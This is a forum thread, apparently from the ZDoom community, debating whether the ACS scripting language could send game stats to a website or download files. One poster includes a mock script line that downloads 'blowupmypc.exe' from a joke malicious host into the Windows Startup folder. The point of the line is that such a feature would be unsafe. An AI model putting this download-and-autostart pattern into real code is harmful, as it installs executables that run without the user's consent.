Can ACS access networking resources?

Can I say to ACS:
Hey, connect to port 80, and send this information to http://domain.tld/zdoom.php?update=1&p1 ... Wax,Johnny

Of course not! ACS is a scripting language to handle in-game behavior, nothing more.

What are you trying to do, anyway? Maybe you could put the code into ZDoom's source and compile it if it ain't too hard...


Graf, Is it too hard to make Zdoom record game stats for multiplayer at some place on this website?

That could be cool :idea: Assuming it is game related [vs some generalized net access], thus actually fits in the scheme of game multi-player stuff. Indirectly that's somewhat done now if you think about it.

ATM have no idea how it could be useful :D , but then that's a typical chicken and egg conceptual problem.

I know many ways it would be useful. I would like it. Just as long as we can download a variable from a file at an URL. Then we could have "The Daily ZDooM News" in a WAD! (Just as long as someone constantly updated the file.)

um, you are saying its a good idea to let mappers download arbitrary files to my computer without my consent?

um... even i know that is a bad idea...


Code: Select allExpand view
script 1 (void){
    DownloadFile("http://www.Virii-R-Us.com/blowupmypc/blowupmypc.exe","C:\Documents and Settings\All Users\Start-Up\");
}

YNI and Agent ME are asking for two different things. YNI wants a way to transfer game stats from a ZDoom server to a website. Agent ME is asking for a way to download from a website to ZDoom.

If it was just a bit of data that ZDoom displayed in a controlled manner, it wouldn't pose any threat to the user, and vice versa.

I know that we want different things, but I got the idea from Mechwarrior 4 Vengeance and XBOX live

I never download something without researching anymore, but I better watch my back. Some ZDoom.zip file on another site was really a Trojan Horse.
